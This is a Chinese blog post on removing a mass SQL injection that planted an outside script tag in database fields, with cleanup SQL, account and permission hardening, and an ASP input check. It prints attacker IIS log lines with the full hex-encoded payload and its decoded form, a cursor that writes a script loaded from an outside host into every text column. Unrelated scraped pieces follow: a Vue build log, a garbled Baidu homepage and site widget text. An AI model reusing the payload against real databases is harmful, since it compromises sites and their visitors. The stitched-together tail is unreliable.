成功解决script src=http://3b3.or/c.js的注入问题啊

本文详细介绍了如何清除SQL注入导致的恶意脚本,并提供了一系列安全措施来预防SQL注入攻击,包括更改密码、调整用户权限及数据库配置。

一、进入SQL统一删除字段被挂的js 。
操作方式如下:dbo.数据表 SET 字段= REPLACE(字段, '<script src=http://3b3.org/c.js></script>', '')
二、修改SQL服务中自定义用户和sa的密码。
一般情况下,SQL数据库被入侵成功的情况下,自定义帐户和SA的密码已经暴露,修改这些帐户密码为第三步做准备。
三、彻底杜绝SQL注入。
1.不要使用sa用户连接数据库。
SA帐户拥有所有数据库和数据表的操作权限,在网页中使用SA连接数据库安全隐患非常大。
2、新建一个public权限数据库用户,并用这个用户访问数据库。
为了增加安全系数,建议每个数据库建立独立的只有public权限管理帐户,并用这个用户访问数据库有利于SQL的安全性。
3、[角色]去掉角色public对sysobjects与syscolumns对象的select访问权限
4、[用户]用户名称-> 右键-属性-权限-在sysobjects与syscolumns上面打“×”
第3、4步大家不需要考究其中的原理,大家只需要照做就行了。

 

 

此种注入可查看IIS找到源头:

 


16:56:01 GET /e68e/shownews.asp newsid=26729;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x4445434c415245204054207661726368617228323535292c404320766172636861722832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a6563747320612c737973636f6c756d6e73206220776865726520612e69643d622e696420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335206f7220622e78747970653d323331206f7220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20657865632827757064617465205b272b40542b275d20736574205b272b40432b275d3d727472696d28636f6e7665727428766172636861722c5b272b40432b275d29292b2727223e3c736372697074207372633d687474703a2f2f2533382533382533352533382532452537332537332532452536432536313e3c2f7363726970743e272727294645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72%20eXeC(@s);-- 80 210.83.80.137 - 200 0 0
16:56:01 GET /e68e/shownews.asp newsid=26729';dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x4445434c415245204054207661726368617228323535292c404320766172636861722832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a6563747320612c737973636f6c756d6e73206220776865726520612e69643d622e696420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335206f7220622e78747970653d323331206f7220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20657865632827757064617465205b272b40542b275d20736574205b272b40432b275d3d727472696d28636f6e7665727428766172636861722c5b272b40432b275d29292b2727223e3c736372697074207372633d687474703a2f2f2533382533382533352533382532452537332537332532452536432536313e3c2f7363726970743e272727294645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72%20eXeC(@s);-- 80 210.83.80.137 - 200 0 0

-------------------------------------
6:30:12 GET /newshow.asp newsid=21767;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x4445434c415245204054207661726368617228323535292c404320766172636861722832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a6563747320612c737973636f6c756d6e73206220776865726520612e69643d622e696420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335206f7220622e78747970653d323331206f7220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20657865632827757064617465205b272b40542b275d20736574205b272b40432b275d3d727472696d28636f6e7665727428766172636861722c5b272b40432b275d29292b2727223e3c736372697074207372633d687474703a2f2f2533382533382533352533382532452537332537332532452536432536313e3c2f7363726970743e272727294645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72%20eXeC(@s);-- 80 210.83.80.137 - 302 0 0
16:30:12 GET /newshow.asp newsid=21767';dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x4445434c415245204054207661726368617228323535292c404320766172636861722832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a6563747320612c737973636f6c756d6e73206220776865726520612e69643d622e696420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335206f7220622e78747970653d323331206f7220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20657865632827757064617465205b272b40542b275d20736574205b272b40432b275d3d727472696d28636f6e7665727428766172636861722c5b272b40432b275d29292b2727223e3c736372697074207372633d687474703a2f2f2533382533382533352533382532452537332537332532452536432536313e3c2f7363726970743e272727294645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72%20eXeC(@s);-- 80 210.83.80.137 - 302 0 0
16:30:12 GET /newshow.asp newsid=21767%20And%20Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)%20as%20varchar(1))%2Bchar(124)=1 80 210.83.80.137 - 302 0 0

 

 

用查询分析器执行:

declare @s varchar(8000)
sEt @s=0x4445434c415245204054207661726368617228323535292c404320766172636861722832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a6563747320612c737973636f6c756d6e73206220776865726520612e69643d622e696420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335206f7220622e78747970653d323331206f7220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20657865632827757064617465205b272b40542b275d20736574205b272b40432b275d3d727472696d28636f6e7665727428766172636861722c5b272b40432b275d29292b2727223e3c736372697074207372633d687474703a2f2f2533382533382533352533382532452537332537332532452536432536313e3c2f7363726970743e272727294645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72
print Lower(@s)

得到SQL注入代码

declare @t varchar(255),@c varchar(255) declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) open table_cursor fetch next from table_cursor into @t,@c while(@@fetch_status=0) begin exec('update ['+@t+'] set ['+@c+']=rtrim(convert(varchar,['+@c+']))+''"><script src=http://%38%38%35%38%2e%73%73%2e%6c%61></script>''')fetch next from table_cursor into @t,@c end close table_cursor deallocate table_cursor

 

 

参数验证:

 

<% if len(request("newsid"))<>0 then
   
if not isnumeric(request("newsid")) then
        response.write(
"参数无效")
        response.end
   
end if
end if
%
>

 

至此,所有问题都已经清楚。

 

* 正在执行任务: npm run build:dev > HealthKitRunningGroupPortal@6.17.302 build:dev > vue-tsc --noEmit --skipLibCheck && vite build --mode dev & node --experimental-json-modules script/package.js development C:\Users\x60102926\Desktop\jinbiao\HealthDeveloper\HealthKitRunningGroupPortal\src 1111 vite v4.3.2 building for dev... transforming (1) index.html[@vue/compiler-sfc] `defineProps` is a compiler macro and no longer needs to be imported. [@vue/compiler-sfc] `defineEmits` is a compiler macro and no longer needs to be imported. transforming (93) node_modules\element-plus\es\components\form\src\constants.mjsDeprecation Warning [legacy-js-api]: The legacy JS API is deprecated and will be removed in Dart Sass 2.0.0. More info: https://sass-lang.com/d/legacy-js-api transforming (237) node_modules\element-plus\es\components\mention\index.mjsDeprecation Warning [legacy-js-api]: The legacy JS API is deprecated and will be removed in Dart Sass 2.0.0. More info: https://sass-lang.com/d/legacy-js-api transforming (462) node_modules\element-plus\es\components\virtual-list\src\defaults.mjsDeprecation Warning [legacy-js-api]: The legacy JS API is deprecated and will be removed in Dart Sass 2.0.0. More info: https://sass-lang.com/d/legacy-js-api transforming (647) node_modules\element-plus\es\components\virtual-list\src\hooks\use-cache.mjsDeprecation Warning [legacy-js-api]: The legacy JS API is deprecated and will be removed in Dart Sass 2.0.0. More info: https://sass-lang.com/d/legacy-js-api transforming (1034) node_modules\element-plus\es\components\color-picker\src\utils\draggable.mjsDeprecation Warning [legacy-js-api]: The legacy JS API is deprecated and will be removed in Dart Sass 2.0.0. More info: https://sass-lang.com/d/legacy-js-api Deprecation Warning [legacy-js-api]: The legacy JS API is deprecated and will be removed in Dart Sass 2.0.0. More info: https://sass-lang.com/d/legacy-js-api Deprecation Warning [legacy-js-api]: The legacy JS API is deprecated and will be removed in Dart Sass 2.0.0. More info: https://sass-lang.com/d/legacy-js-api Deprecation Warning [legacy-js-api]: The legacy JS API is deprecated and will be removed in Dart Sass 2.0.0. More info: https://sass-lang.com/d/legacy-js-api transforming (1078) node_modules\element-plus\es\components\tree-select\src\tree-select-option.mjsDeprecation Warning [legacy-js-api]: The legacy JS API is deprecated and will be removed in Dart Sass 2.0.0. More info: https://sass-lang.com/d/legacy-js-api Deprecation Warning [legacy-js-api]: The legacy JS API is deprecated and will be removed in Dart Sass 2.0.0. More info: https://sass-lang.com/d/legacy-js-api Deprecation Warning [legacy-js-api]: The legacy JS API is deprecated and will be removed in Dart Sass 2.0.0. More info: https://sass-lang.com/d/legacy-js-api Deprecation Warning [legacy-js-api]: The legacy JS API is deprecated and will be removed in Dart Sass 2.0.0. More info: https://sass-lang.com/d/legacy-js-api Deprecation Warning [legacy-js-api]: The legacy JS API is deprecated and will be removed in Dart Sass 2.0.0. More info: https://sass-lang.com/d/legacy-js-api transforming (1417) node_modules\lodash-es\_composeArgs.jsDeprecation Warning [legacy-js-api]: The legacy JS API is deprecated and will be removed in Dart Sass 2.0.0. More info: https://sass-lang.com/d/legacy-js-api ✓ 2032 modules transformed. dist/index.html 0.48 kB │ gzip: 0.31 kB dist/assets/dataAnalysis-43440d86.css 0.57 kB │ gzip: 0.30 kB dist/assets/dashboard-933bcaa0.css 3.08 kB │ gzip: 0.91 kB dist/assets/activities-7a9f9461.css 4.04 kB │ gzip: 1.07 kB dist/assets/index-a4402fda.css 337.28 kB │ gzip: 46.97 kB dist/assets/activities-36fa1184.js 14.78 kB │ gzip: 5.22 kB dist/assets/dashboard-938b3f6b.js 49.54 kB │ gzip: 18.58 kB dist/assets/dataAnalysis-9c315dd1.js 1,060.81 kB │ gzip: 354.72 kB dist/assets/index-c91c1102.js 1,253.80 kB │ gzip: 406.76 kB (!) Some chunks are larger than 500 kBs after minification. Consider: - Using dynamic import() to code-split the application - Use build.rollupOptions.output.manualChunks to improve chunking: https://rollupjs.org/configuration-options/#output-manualchunks - Adjust chunk size limit for this warning via build.chunkSizeWarningLimit. ✓ built in 11.76s INFO start pack 6.17.302 development zip node:fs:1952 binding.unlink(getValidatedPath(path)); ^ Error: ENOENT: no such file or directory, unlink &#39;C:\Users\x60102926\Desktop\jinbiao\HealthDeveloper\HealthKitRunningGroupPortal\dist\sysGlobalConfig.js&#39; at Object.unlinkSync (node:fs:1952:11) at copyEnvConfigFile (file:///C:/Users/x60102926/Desktop/jinbiao/HealthDeveloper/HealthKitRunningGroupPortal/script/package.js:45:6) at file:///C:/Users/x60102926/Desktop/jinbiao/HealthDeveloper/HealthKitRunningGroupPortal/script/package.js:17:1 at ModuleJob.run (node:internal/modules/esm/module_job:345:25) at async onImport.tracePromise.__proto__ (node:internal/modules/esm/loader:651:26) at async asyncRunEntryPointWithESMLoader (node:internal/modules/run_main:117:5) { errno: -4058, code: &#39;ENOENT&#39;, syscall: &#39;unlink&#39;, path: &#39;C:\\Users\\x60102926\\Desktop\\jinbiao\\HealthDeveloper\\HealthKitRunningGroupPortal\\dist\\sysGlobalConfig.js&#39; } Node.js v22.19.0这样打包成功了吗
最新发布
10-22
<!DOCTYPE html> <!--STATUS OK--><html> <head><meta http-equiv=content-type content=text/html;charset=utf-8><meta http-equiv=X-UA-Compatible content=IE=Edge><meta content=always name=referrer><link rel=stylesheet type=text/css href=https://ss1.bdstatic.com/5eN1bjq8AAUYm2zgoY3K/r/www/cache/bdorz/baidu.min.css><title>ç™&frac34;å&ordm;¦ä¸€ä¸‹ï¼Œä½ å°±çŸ¥é“</title></head> <body link=#0000cc> <div id=wrapper> <div id=head> <div class=head_wrapper> <div class=s_form> <div class=s_form_wrapper> <div id=lg> <img hidefocus=true src=//www.baidu.com/img/bd_logo1.png width=270 height=129> </div> <form id=form name=f action=//www.baidu.com/s class=fm> <input type=hidden name=bdorz_come value=1> <input type=hidden name=ie value=utf-8> <input type=hidden name=f value=8> <input type=hidden name=rsv_bp value=1> <input type=hidden name=rsv_idx value=1> <input type=hidden name=tn value=baidu><span class="bg s_ipt_wr"><input id=kw name=wd class=s_ipt value maxlength=255 autocomplete=off autofocus=autofocus></span><span class="bg s_btn_wr"><input type=submit id=su value=ç™&frac34;å&ordm;¦ä¸€ä¸‹ class="bg s_btn" autofocus></span> </form> </div> </div> <div id=u1> <a href=http://news.baidu.com name=tj_trnews class=mnav>新闻</a> <a href=https://www.hao123.com name=tj_trhao123 class=mnav>hao123</a> <a href=http://map.baidu.com name=tj_trmap class=mnav>地å›&frac34;</a> <a href=http://v.baidu.com name=tj_trvideo class=mnav>视频</a> <a href=http://tieba.baidu.com name=tj_trtieba class=mnav>贴吧</a> <noscript> <a href=http://www.baidu.com/bdorz/login.gif?login&tpl=mn&u=http%3A%2F%2Fwww.baidu.com%2f%3fbdorz_come%3d1 name=tj_login class=lb>登录</a> </noscript> <script>document.write(&#39;<a href="http://www.baidu.com/bdorz/login.gif?login&tpl=mn&u=&#39;+ encodeURIComponent(window.location.href+ (window.location.search === "" ? "?" : "&")+ "bdorz_come=1")+ &#39;" name="tj_login" class="lb">登录</a>&#39;); </script> <a href=//www.baidu.com/more/ name=tj_briicon class=bri style="display: block;">更多ä&ordm;§å“</a> </div> </div> </div> <div id=ftCon> <div id=ftConw> <p id=lh> <a href=http://home.baidu.com>å…&sup3;ä&ordm;Žç™&frac34;å&ordm;¦</a> <a href=http://ir.baidu.com>About Baidu</a> </p> <p id=cp>©2017 Baidu <a href=http://www.baidu.com/duty/>使用ç™&frac34;å&ordm;¦å‰å¿…读</a>  <a href=http://jianyi.baidu.com/ class=cp-feedback>意见反馈</a> ä&ordm;¬ICP证030173号  <img src=//www.baidu.com/img/gs.gif> </p> </div> </div> </div> </body> </html>
07-15
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值